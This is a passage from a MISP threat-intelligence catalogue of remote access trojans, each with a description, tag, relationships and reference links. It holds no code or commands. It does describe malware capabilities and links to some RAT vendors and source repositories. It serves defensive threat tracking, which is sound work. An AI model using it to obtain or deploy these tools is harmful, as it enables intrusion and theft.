https://www.scmagazine.com/cardinal-rats-unique-downloader-allowed-it-to-avoid-detection-for-years/article/651927/
https://www.cyber.nj.gov/threat-profiles/trojan-variants/cardinal
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/

OmniRAT

Works on all Android, Windows, Linux and Mac devices!

The tag is: *misp-galaxy:rat="OmniRAT"*

View relationships graph

OmniRAT has relationships with:

- similar: misp-galaxy:malpedia="OmniRAT" with estimative-language:likelihood-probability="likely"

Table 6637. Table References

Links
https://omnirat.eu/en/

Jfect

The tag is: *misp-galaxy:rat="Jfect"*

Table 6638. Table References

Links
https://www.youtube.com/watch?v=qKdoExQFb68

Trochilus

Trochilus is a remote access trojan (RAT) first identified in October 2015 when attackers used it to infect visitors of a Myanmar website. It was then used in a 2016 cyber-espionage campaign, dubbed "the Seven Pointed Dagger," managed by another group, "Group 27," who also uses the PlugX trojan. Trochilus is primarily spread via emails with a malicious .RAR attachment containing the malware. The trojan’s functionality includes a shellcode extension, remote uninstall, a file manager, and the ability to download and execute, upload and execute, and access the system information. Once present on a system, Trochilus can move laterally in the network for better access. This trojan operates in memory only and does not write to the disk, helping it evade detection.

The tag is: *misp-galaxy:rat="Trochilus"*

View relationships graph

Trochilus has relationships with:

- similar: misp-galaxy:tool="Trochilus" with estimative-language:likelihood-probability="likely"

Table 6639. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/
http://securityaffairs.co/wordpress/43889/cyber-crime/new-rat-trochilus.html

Matryoshka

Their most commonly used initial attack vector is a simple, yet alarmingly effective, spearphishing attack, infecting unsuspecting victims via a malicious email attachment (usually an executable that has been disguised as something else). From there, Matryoshka runs second stage malware via a dropper and covertly installs a Remote Access Toolkit (RAT). This is done using a reflective loader technique that allows the malware to run in process memory, rather than being written to disk. This not only hides the install of the RAT but also ensures that the RAT will be ‘reinstalled’ after system restart.

The tag is: *misp-galaxy:rat="Matryoshka"*

View relationships graph

Matryoshka has relationships with:

- similar: misp-galaxy:tool="Matryoshka" with estimative-language:likelihood-probability="likely"

Table 6640. Table References

Links
https://www.alienvault.com/blogs/security-essentials/matryoshka-malware-from-copykittens-group

Mangit

First discovered by Trend Micro in June, Mangit is a new malware family being marketed on both the Dark web and open internet. Users have the option to rent the trojan's infrastructure for about $600 per 10-day period or buy the source code for about $8,800. Mangit was allegedly developed by "Ric", a Brazilian hacker, who makes himself available via Skype to discuss rental agreements. Once the malware is rented or purchased, the user controls a portion of the Mangit botnet, the trojan, the dropper, an auto-update system, and the server infrastructure to run their attacks. Mangit contains support for nine Brazillian banks including Citibank, HSBC, and Santander. The malware can also be used to steal user PayPal credentials. Mangit has the capability to collect banking credentials, receive SMS texts when a victim is accessing their bank account, and take over victim's browsers. To circumvent two-factor authentication, attackers can use Mangit to lock victim's browsers and push pop-ups to the victim asking for the verification code they just received.

The tag is: *misp-galaxy:rat="Mangit"*

Table 6641. Table References

Links
http://virusguides.com/newly-discovered-mangit-malware-offers-banking-trojan-service/
https://www.cyber.nj.gov/threat-profiles/trojan-variants/mangit
http://news.softpedia.com/news/new-malware-mangit-surfaces-as-banking-trojan-as-a-service-505458.shtml

LeGeNd

The tag is: *misp-galaxy:rat="LeGeNd"*

Table 6642. Table References

Links
http://www.connect-trojan.net/2016/08/legend-rat-v1.3-by-ahmed-ibrahim.html
http://www.connect-trojan.net/2016/11/legend-rat-v1.9-by-ahmed-ibrahim.html

Revenge-RAT

Revenge v0.1 was a simple tool, according to a researcher known as Rui, who says the malware's author didn't bother obfuscating the RAT's source code. This raised a question mark with the researchers, who couldn't explain why VirusTotal scanners couldn't pick it up as a threat right away.Revenge, which was written in Visual Basic, also didn't feature too many working features, compared to similar RATs. Even Napolean admitted that his tool was still in the early development stages, a reason why he provided the RAT for free.

The tag is: *misp-galaxy:rat="Revenge-RAT"*

Table 6643. Table References

Links
http://www.securitynewspaper.com/2016/08/31/unsophisticated-revenge-rat-released-online-free-exclusive/

vjw0rm 0.1

The tag is: *misp-galaxy:rat="vjw0rm 0.1"*

Table 6644. Table References

Links
https://twitter.com/malwrhunterteam/status/816993165119016960?lang=en

rokrat

ROKRAT is a remote access trojan (RAT) that leverages a malicious Hangual Word Processor (HWP) document sent in spearphishing emails to infect hosts. The HWP document contains an embedded Encapsulated PostScript (EPS) object. The object exploits an EPS buffer overflow vulnerability and downloads a binary disguised as a .JPG file. The file is then decoded and the ROKRAT executable is initiated. The trojan uses legitimate Twitter, Yandex, and Mediafire websites for its command and control communications and exfiltration platforms, making them difficult to block globally. Additionally, the platforms use HTTPS connections, making it more difficult to gather additional data on its activities. Cisco's Talos Group identified two email campaigns. In one, attackers send potential victims emails from an email server of a private university in Seoul, South Korea with a sender email address of "kgf2016@yonsei.ac.kr," the contact email for the Korea Global Forum, adding a sense of legitimacy to the email. It is likely that the email address was compromised and used by the attackers in this campaign. The second is less sophisticated and sends emails claiming to be from a free Korean mail service with a the subject line, "Request Help" and attached malicious HWP filename, "I'm a munchon person in Gangwon-do, North Korea." The ROKRAT developer uses several techniques to hinder analysis, including identifying tools usually used by malware analysts or within sandbox environments. Once it has infected a device, this trojan can execute commands, move a file, remove a file, kill a process, download and execute a file, upload documents, capture screenshots, and log keystrokes. Researchers believe the developer is a native Korean speaker and the campaign is currently targeting Korean-speakers.

The tag is: *misp-galaxy:rat="rokrat"*

rokrat is also known as:

- ROKRAT

Table 6645. Table References

Links

http://blog.talosintelligence.com/2017/04/introducing-rokrat.html
http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html

Qarallax

Travelers applying for a US Visa in Switzerland were recently targeted by cyber-criminals linked to a malware called QRAT. Twitter user @hkashfi posted a Tweet saying that one of his friends received a file (US Travel Docs Information.jar) from someone posing as USTRAVELDOCS.COM support personnel using the Skype account ustravelidocs-switzerland (notice the “i” between “travel” and “docs”).

The tag is: *misp-galaxy:rat="Qarallax"*

Qarallax is also known as:

- qrat

View relationships graph

Qarallax has relationships with:

- similar: misp-galaxy:tool="qrat" with estimative-language:likelihood-probability="likely"

Table 6646. Table References

Links
https://labsblog.f-secure.com/2016/06/07/qarallax-rat-spying-on-us-visa-applicants/

MoonWind

MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.

The tag is: *misp-galaxy:rat="MoonWind"*

View relationships graph

MoonWind has relationships with:

- similar: misp-galaxy:mitre-malware="MoonWind - S0149" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="MoonWind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"

Table 6647. Table References

Links

https://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/
https://attack.mitre.org/wiki/Software/S0149

Remcos

Remcos is another RAT (Remote Administration Tool) that was first discovered being sold in hacking forums in the second half of 2016. Since then, it has been updated with more features, and just recently, we've seen its payload being distributed in the wild for the first time.

The tag is: *misp-galaxy:rat="Remcos"*

View relationships graph

Remcos has relationships with:

- similar: misp-galaxy:malpedia="Remcos" with estimative-language:likelihood-probability="likely"

Table 6648. Table References

Links
https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2
https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html

Client Maximus

The purpose of the Client Maximus malware is financial fraud. As such, its code aspires to create the capabilities that most banking Trojans have, which allow attackers to monitor victims' web navigation and interrupt online banking session at will. After taking over a victim's banking session, an attacker operating this malware can initiate a fraudulent transaction from the account and use social engineering screens to manipulate the unwitting victim into authorizing it.

The tag is: *misp-galaxy:rat="Client Maximus"*

View relationships graph

Client Maximus has relationships with:

- similar: misp-galaxy:malpedia="Client Maximus" with estimative-language:likelihood-probability="likely"

Table 6649. Table References

Links
https://securityintelligence.com/client-maximus-new-remote-overlay-malware-highlights-rising-malcode-sophistication-in-brazil/

TheFat RAT

Thefatrat a massive exploiting tool revealed >> An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most...

The tag is: *misp-galaxy:rat="TheFat RAT"*

Table 6650. Table References

Links
https://github.com/Screetsec/TheFatRat

RedLeaves

Since around October 2016, JPCERT/CC has been confirming information leakage and other damages caused by malware ‘RedLeaves’. It is a new type of malware which has been observed since 2016 in attachments to targeted emails.

The tag is: *misp-galaxy:rat="RedLeaves"*

View relationships graph

RedLeaves has relationships with:

- similar: misp-galaxy:mitre-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="BUGJUICE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"

Table 6651. Table References

Links
http://blog.jpcert.or.jp/2017/04/redleaves---malware-based-on-open-source-rat.html

Rurktar

Dubbed Rurktar, the tool hasn’t had all of its functionality implemented yet, but G DATA says “it is relatively safe to say [it] is intended for use in targeted spying operations.” The malicious program could be used for reconnaissance operations, as well as to spy on infected computers users, and steal or upload files.

The tag is: *misp-galaxy:rat="Rurktar"*

View relationships graph

Rurktar has relationships with:

- similar: misp-galaxy:malpedia="Rurktar" with estimative-language:likelihood-probability="likely"

Table 6652. Table References

Links
http://www.securityweek.com/rurktar-malware-espionage-tool-development

RATAttack

RATAttack is a remote access trojan (RAT) that uses the Telegram protocol to support encrypted communication between the victim's machine and the attacker. The Telegram protocol also provides a simple method to communicate to the target, negating the need for port forwarding. Before using RATAttack, the attacker must create a Telegram bot and embed the bot's Telegram token into the trojan's configuration file. When a system is infected with RATAttack, it connects to the bot's Telegram channel. The attacker can then connect to the same channel and manage the RATAttack clients on the infected host machines. The trojan's code was available on GitHub then was taken down by the author on April 19, 2017.

The tag is: *misp-galaxy:rat="RATAttack"*

Table 6653. Table References

Links
https://www.cyber.nj.gov/threat-profiles/trojan-variants/ratattack

KhRAT

So called because the Command and Control (C2) infrastructure from previous variants of the malware was located in Cambodia, as discussed by Roland Dela Paz at Forecpoint here, KHRAT is a Trojan that registers victims using their infected machine's username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.

The tag is: *misp-galaxy:rat="KhRAT"*

Table 6654. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/

RevCode

The tag is: *misp-galaxy:rat="RevCode"*

Table 6655. Table References

Links
https://revcode.eu/

AhNyth Android

Android Remote Administration Tool

The tag is: *misp-galaxy:rat="AhNyth Android"*

Table 6656. Table References

Links
https://github.com/AhMyth/AhMyth-Android-RAT

Socket23

SOCKET23 was launched from his web site and immedi- ately infected major French corporations between August and October 1998. The virus (distributing the Trojan) was known as W32/HLLP.DeTroie.A (alias W32/Cheval.TCV). Never had a virus so disrupted French industry. The author quickly offered his own remover and made his apologies on his web site (now suppressed). Jean-Christophe X (18) was arrested on Tuesday 15 June 1999 in the Paris area and placed under judicial investigation for ‘fraudulent intrusion of data in a data processing system, suppression and fraudulent modification of data’

The tag is: *misp-galaxy:rat="Socket23"*

Table 6657. Table References

Links
https://www.virusbulletin.com/uploads/pdf/magazine/1999/199908.pdf

PowerRAT

The tag is: *misp-galaxy:rat="PowerRAT"*

MacSpy

Standard macOS backdoor, offered via a 'malware-as-a-service' model. MacSpy is advertised as the "most sophisticated Mac spyware ever", with the low starting price of free. While the idea of malware-as-a-service (MaaS) isn’t a new one with players such as Tox and Shark the game, it can be said that MacSpy is one of the first seen for the OS X platform.

The tag is: *misp-galaxy:rat="MacSpy"*

View relationships graph

MacSpy has relationships with:

- similar: misp-galaxy:malpedia="MacSpy" with estimative-language:likelihood-probability="likely"

Table 6658. Table References

Links
https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service
https://objective-see.com/blog/blog_0x25.html

DNSMessenger

Talos recently analyzed an interesting malware sample that made use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker. This is an extremely uncommon and evasive way of administering a RAT. The use of multiple stages of Powershell with various stages being completely fileless indicates an attacker who has taken significant measures to avoid detection.

The tag is: *misp-galaxy:rat="DNSMessenger"*

View relationships graph

DNSMessenger has relationships with:

- similar: misp-galaxy:mitre-malware="TEXTMATE - S0146" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="POWERSOURCE - S0145" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"

Table 6659. Table References

Links
http://blog.talosintelligence.com/2017/03/dnsmessenger.html

PentagonRAT

The tag is: *misp-galaxy:rat="PentagonRAT"*

Table 6660. Table References

Links
http://pentagon-rat.blogspot.fr/

NewCore

NewCore is a remote access trojan first discovered by Fortinet researchers while conducting analysis on a China-linked APT campaign targeting Vietnamese organizations. The trojan is a DLL file, executed after a trojan downloader is installed on the targeted machine. Based on strings in the code, the trojan may be compiled from the publicly-available source code of the PcClient and PcCortr backdoor trojans.

The tag is: *misp-galaxy:rat="NewCore"*

Table 6661. Table References

Links
https://www.cyber.nj.gov/threat-profiles/trojan-variants/newcore
https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations

Deeper RAT

The tag is: *misp-galaxy:rat="Deeper RAT"*

Xyligan

The tag is: *misp-galaxy:rat="Xyligan"*

H-w0rm

The tag is: *misp-galaxy:rat="H-w0rm"*

htpRAT

On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government. The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported. The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming. htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversary's arsenal in a campaign against Association of Southeast Asian Nations (ASEAN). Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs and manage files. They support a fixed set of commands operators can execute using different command IDs —'file download' or 'file upload,' for example—and must be completely rebuilt to have different functionality. htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect. On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different file on the victim's network, simply by wrapping commands.

The tag is: *misp-galaxy:rat="htpRAT"*

View relationships graph

htpRAT has relationships with:

- similar: misp-galaxy:malpedia="htpRAT" with estimative-language:likelihood-probability="likely"

Table 6662. Table References

Links
https://cdn.riskiq.com/wp-content/uploads/2017/10/RiskIQ-htpRAT-Malware-Attacks.pdf?_ga=2.159415805.1155855406.1509033001-1017609577.1507615928

FALLCHILL

According to trusted third-party reporting, HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace, telecommunications, and finance industries. The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control (C2) server to a victim's system via dual proxies. FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors. HIDDEN COBRA actors use an external tool or dropper to install the FALLCHILL malware-as-a-service to establish persistence. Because of this, additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL.

The tag is: *misp-galaxy:rat="FALLCHILL"*

View relationships graph

FALLCHILL has relationships with:

- similar: misp-galaxy:mitre-malware="FALLCHILL - S0181" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"

Table 6663. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-318A
https://securelist.com/operation-applejeus/87553/

UBoatRAT

Alto Networks Unit 42 has identified attacks with a new custom Remote Access Trojan (RAT) called UBoatRAT. The initial version of the RAT, found in May of 2017, was simple HTTP backdoor that uses a public blog service in Hong Kong and a compromised web server in Japan for command and control. The developer soon added various new features to the code and released an updated version in June. The attacks with the latest variants we found in September have following characteristics. Targets personnel or organizations related to South Korea or video games industry Distributes malware through Google Drive Obtains C2 address from GitHub Uses Microsoft Windows Background Intelligent Transfer Service(BITS) to maintain persistence.

The tag is: *misp-galaxy:rat="UBoatRAT"*

Table 6664. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/

CrossRat

The EFF/Lookout report describes CrossRat as a “newly discovered desktop surveillanceware tool…which is able to target Windows, OSX, and Linux.”

The tag is: *misp-galaxy:rat="CrossRat"*

Table 6665. Table References

Links
https://digitasecurity.com/blog/2018/01/23/crossrat/

TSCookieRAT

TSCookie provides parameters such as C&C server information when loading TSCookieRAT. Upon the execution, information of the infected host is sent with HTTP POST request to an external server. (The HTTP header format is the same as TSCookie.) The data is RC4-encrypted from the beginning to 0x14 (the key is Date header value), which is followed by the information of the infected host (host name, user name, OS version, etc.). Please refer to Appendix C, Table C-1 for the data format.

The tag is: *misp-galaxy:rat="TSCookieRAT"*

Table 6666. Table References

Links
http://blog.jpcert.or.jp/.s/2018/03/malware-tscooki-7aa0.html

Coldroot

Coldroot, a remote access trojan (RAT), is still undetectable by most antivirus engines, despite being uploaded and freely available on GitHub for almost two years. The RAT appears to have been created as a joke, "to Play with Mac users," and "give Mac it’s rights in this [the RAT] field," but has since expanded to work all three major desktop operating systems — Linux, macOS, and Windows— according to a screenshot of its builder extracted from a promotional YouTube video.

The tag is: *misp-galaxy:rat="Coldroot"*

Table 6667. Table References

Links
https://www.bleepingcomputer.com/news/security/coldroot-rat-still-undetectable-despite-being-uploaded-on-github-two-years-ago/
https://github.com/xlinshan/Coldroot

Comnie

Comnie is a RAT originally identified by Sophos. It has been using Github, Tumbler and Blogspot as covert channels for its C2 communications. Comnie has been observed targetting government, defense, aerospace, high-tech and telecommunication sectors in Asia.

The tag is: *misp-galaxy:rat="Comnie"*

Table 6668. Table References

Links
https://exchange.xforce.ibmcloud.com/collection/East-Asia-Organizations-Victims-of-Comnie-Attack-12749a9dbc20e2f40b3ae99c43416d8c
https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/

GravityRAT

GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We’ve seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor.

The tag is: *misp-galaxy:rat="GravityRAT"*

Table 6669. Table References

Links
https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html

ARS VBS Loader

ARS VBS Loader not only downloads and executes malicious code, but also includes a command and control application written in PHP that allows a botmaster to issue commands to a victim's machine. This behavior likens ARS VBS Loader to a remote access Trojan (RAT), giving it behavior and capabilities rarely seen in malicious "loaders".

The tag is: *misp-galaxy:rat="ARS VBS Loader"*

View relationships graph

ARS VBS Loader has relationships with:

- similar: misp-galaxy:malpedia="ARS VBS Loader" with estimative-language:likelihood-probability="likely"

Table 6670. Table References

Links
https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/

RadRAT

RadRAT, its capabilities include: unfettered control of the compromised computer, lateral movement across the organization (Mimikatz-like credentials harvesting, NTLM hash harvesting from the Windows registry and implementation of the Pass-the-Hash attack on SMB connections) and rootkit-like detection-evasion mechanisms.

The tag is: *misp-galaxy:rat="RadRAT"*

View relationships graph

RadRAT has relationships with:

- similar: misp-galaxy:malpedia="RadRAT" with estimative-language:likelihood-probability="likely"

Table 6671. Table References

Links
https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/
https://labs.bitdefender.com/wp-content/uploads/downloads/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/

FlawedAmmyy

FlawedAmmyy, has been used since the beginning of 2016 in both highly targeted email attacks as well as massive, multi-million message campaigns. The RAT is based on leaked source code for Version 3 of the Ammyy Admin remote desktop software. As such FlawedAmmyy contains the functionality of the leaked version, including: Remote Desktop control, File system manager, Proxy support, Audio Chat.

The tag is: *misp-galaxy:rat="FlawedAmmyy"*

View relationships graph

FlawedAmmyy has relationships with:

- similar: misp-galaxy:malpedia="FlawedAmmyy" with estimative-language:likelihood-probability="likely"

Table 6672. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat

Spymaster Pro

Monitoring Software

The tag is: *misp-galaxy:rat="Spymaster Pro"*

Table 6673. Table References

Links
https://www.spymasterpro.com/
https://spycellphone.mobi/reviews/spymaster-pro-real-review-with-screenshots

NavRAT

Classic RAT that can download, upload, execute commands on the victim host and perform keylogging. However, the command and control (C2) infrastructure is very specific. It uses the legitimate Naver email platform in order to communicate with the attackers via email

The tag is: *misp-galaxy:rat="NavRAT"*

View relationships graph

NavRAT has relationships with:

- similar: misp-galaxy:malpedia="NavRAT" with estimative-language:likelihood-probability="likely"

Table 6674. Table References

Links
https://blog.talosintelligence.com/2018/05/navrat.html

joanap

Joanap is a two-stage malware used to establish peer-to-peer communications and to manage botnets designed to enable other operations. Joanap malware provides HIDDEN COBRA actors with the ability to exfiltrate data, drop and run secondary payloads, and initialize proxy communications on a compromised Windows device.

The tag is: *misp-galaxy:rat="joanap"*

Table 6675. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA18-149A

Sisfader

Sisfader maintains persistence installing itself as a system service, it is made up of multiple components ([1] Dropper - installing the malware, [2] Agent - main code of the RAT, [3] Config - written to the registry, [4] Auto Loader - responsible for extracting the Agent, the Config from the registry) and it has its own custom protocol for communication.

The tag is: *misp-galaxy:rat="Sisfader"*

View relationships graph

Sisfader has relationships with:

- similar: misp-galaxy:malpedia="Sisfader" with estimative-language:likelihood-probability="likely"

Table 6676. Table References

Links
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/june/cve-2017-8750-rtf-and-the-sisfader-rat/

SocketPlayer

The RAT is written in .NET, it uses socket.io for communication. Currently there are two variants of the malware, the 1st variant is a typical downloader whereas the 2nd one has download and C2 functionalities.

The tag is: *misp-galaxy:rat="SocketPlayer"*

Table 6677. Table References

Links
https://file.gdatasoftware.com/web/en/documents/whitepaper/G_DATA_SocketPlayer_Analysis.pdf
https://volon.io/2018/06/targeted-attack-on-indian-defense-officials-using-socketplayer-malware/

Hallaj PRO RAT

RAT

The tag is: *misp-galaxy:rat="Hallaj PRO RAT"*

Table 6678. Table References

Links
https://securelist.com/attacks-on-industrial-enterprises-using-rms-and-teamviewer/87104/

NukeSped

This threat can install other malware on your PC, including Trojan:Win32/NukeSped.B!dha and Trojan:Win32/NukeSped.C!dha. It can show you a warning message that says your files will be made publically available if you don’t follow the malicious hacker’s commands.

The tag is: *misp-galaxy:rat="NukeSped"*

Table 6679. Table References

Links
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojNukeSped-Z.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojNukeSped-Z.aspx]
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win64/NukeSped&ThreatID=-2147238204
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win64/NukeSped!bit&ThreatID=-2147238152
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/NukeSped
https://malwarefixes.com/threats/win32nukesped/
https://www.alienvault.com/forums/discussion/17301/alienvault-labs-threat-intelligence-update-for-usm-anywhere-march-25-march-31-2018

TheOneSpy

```
Remotely monitor and control any wrong activity of kids on all smartphones & computers
```

The tag is: *misp-galaxy:rat="TheOneSpy"*

Table 6680. Table References

Links
https://www.theonespy.com/

BONDUPDATER

BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017, when OilRig targeted a different Middle Eastern governmental organization. The BONDUPDATER Trojan contains basic backdoor functionality, allowing threat actors to upload and download files, as well as the ability to execute commands. BONDUPDATER, like other OilRig tools, uses DNS tunneling to communicate with its C2 server. During the past month, Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware, which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications.

The tag is: *misp-galaxy:rat="BONDUPDATER"*

Table 6681. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/

FlawedGrace

Proofpoint also point out that FlawedGrace is a full-featured RAT written in C++ and that it is a very large program that "extensive use of object-oriented and multithreaded programming techniques. "As a consequence, getting familiar with its internal structure takes a lot of time and is far from a simple task.

The tag is: *misp-galaxy:rat="FlawedGrace"*

Table 6682. Table References

Links
https://www.bleepingcomputer.com/news/security/new-servhelper-backdoor-and-flawedgrace-rat-pushed-by-necurs-botnet/

H-worm

H-worm is a VBS (Visual Basic Script) based RAT written by an individual going by the name Houdini. We believe the author is based in Algeria and has connections to njq8, the author of njw0rm [1] and njRAT/LV [2] through means of a shared or common code base. We have seen the H-worm RAT being employed in targeted attacks against the international energy industry; however, we also see it being employed in a wider context as run of the mill attacks through spammed email attachments and malicious links.

The tag is: *misp-galaxy:rat="H-worm"*

Table 6683. Table References

Links

https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html

Parasite-HTTP-RAT

The RAT, dubbed Parasite HTTP, is especially notable for the extensive array of techniques it incorporates for sandbox detection, anti-debugging, anti-emulation, and other protections. The malware is also modular in nature, allowing actors to add new capabilities as they become available or download additional modules post infection.

The tag is: *misp-galaxy:rat="Parasite-HTTP-RAT"*

Parasite-HTTP-RAT is also known as:

- Parasite HTTP

Table 6684. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/parasite-http-rat-cooks-stew-stealthy-tricks

Caesar RAT

Caesar is an HTTP-based RAT that allows you to remotely control devices directly from your browser.

The tag is: *misp-galaxy:rat="Caesar RAT"*

Table 6685. Table References

Links
https://securityonline.info/caesarrat-http-based-rat/

FlawedAmmy

During the month of October, Check Point researchers discovered a widespread malware campaign spreading a remote access trojan (dubbed “FlawedAmmy”) that allows attackers to take over victims’ computers and data. The campaign was the latest and most widespread delivering the ‘FlawedAmmyy’ RAT, following a number of campaigns that have spread this malware in recent months. The Trojan allows attackers to gain full access to the machine’s camera and microphone, collect screen grabs, steal credentials and sensitive files, and intrusively monitor the victims’ actions. As a result, FlawedAmmy is the first RAT to enter the Global Threat Index’s top 10 ranking.

The tag is: *misp-galaxy:rat="FlawedAmmy"*

Table 6686. Table References

Links
https://www.helpnetsecurity.com/2018/11/14/flawedammy-most-wanted-malware-list/

Felipe

The Zscaler ThreatLabZ team came across a new strain of infostealer Trojan called Felipe, which silently installs itself onto a user's system and connects to a command-and-control (C&C) server to send system information from the compromised system. This malware is compiled for both 32-bit and 64-bit Windows operating systems. Felipe basically steals the victim's debit and credit card information and sends it, along with other personal information, to the remote C&C server. It also sets a date and time to perform other malicious activity upon successful infection of the victim machine.

The tag is: *misp-galaxy:rat="Felipe"*

Table 6687. Table References

Links
https://www.zscaler.com/blogs/research/felipe-new-infostealer-trojan

Amavaldo Banking Trojan

Amavaldo is banking trojan writen in Delphi and known to targeting Spanish or Portuguese speaking countries. It contains backdoor functionality and can work as multi stage. Amavaldo also abuses legitimate tools and softwares

The tag is: *misp-galaxy:rat="Amavaldo Banking Trojan"*

Table 6688. Table References

Links
https://www.welivesecurity.com/2019/08/01/banking-trojans-amavaldo/

AsyncRAT

Open-Source Remote Administration Tool For Windows C# (RAT)

The tag is: *misp-galaxy:rat="AsyncRAT"*

Table 6689. Table References

Links
https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp
https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

InnfiRAT

new RAT called InnfiRAT, which is written in .NET and designed to perform specific tasks from an infected machine

The tag is: *misp-galaxy:rat="InnfiRAT"*

Table 6690. Table References

Links
https://www.zscaler.com/blogs/research/innfirat-new-rat-aiming-your-cryptocurrency-and-more

KeyBase

In the wild since February 2015. The malware comes equipped with a variety of features and can be purchased for $50 directly from the author. It has been deployed in attacks against organizations across many industries and is predominantly delivered via phishing emails.

The tag is: *misp-galaxy:rat="KeyBase"*

Table 6691. Table References

Links
https://researchcenter.paloaltonetworks.com/2015/06/keybase-keylogger-malware-family-exposed/

Warzone

Apparently existing since 2018

The tag is: *misp-galaxy:rat="Warzone"*

Table 6692. Table References

Links
https://warzone.pw

SDBbot

SDBbot is a new remote access Trojan (RAT) written in C++ that has been delivered by the Get2 downloader in recent TA505 campaigns. Its name is derived from the debugging log file (sdb.log.txt) and DLL name (BotDLL[.]dll) used in the initial analyzed sample. It also makes use of application shimming [1] for persistence. SDBbot is composed of three pieces: an installer, a loader, and a RAT component.

The tag is: *misp-galaxy:rat="SDBbot"*

SDBbot is also known as:

- SDB bot

Table 6693. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader

Sepulcher

A China-based APT has been sending organizations spear-phishing emails that distribute a never-before-seen intelligence-collecting RAT dubbed Sepulcher.

Researchers discovered the new malware being distributed over the past six months through two separate campaigns. The first, in March, targeted European diplomatic and legislative bodies, non-profit policy research organizations and global organizations dealing with economic affairs. The second, in July, targeted Tibetan dissidents. They tied the campaigns to APT group TA413, which researchers say has been associated with Chinese state interests and is known for targeting the Tibetan community.

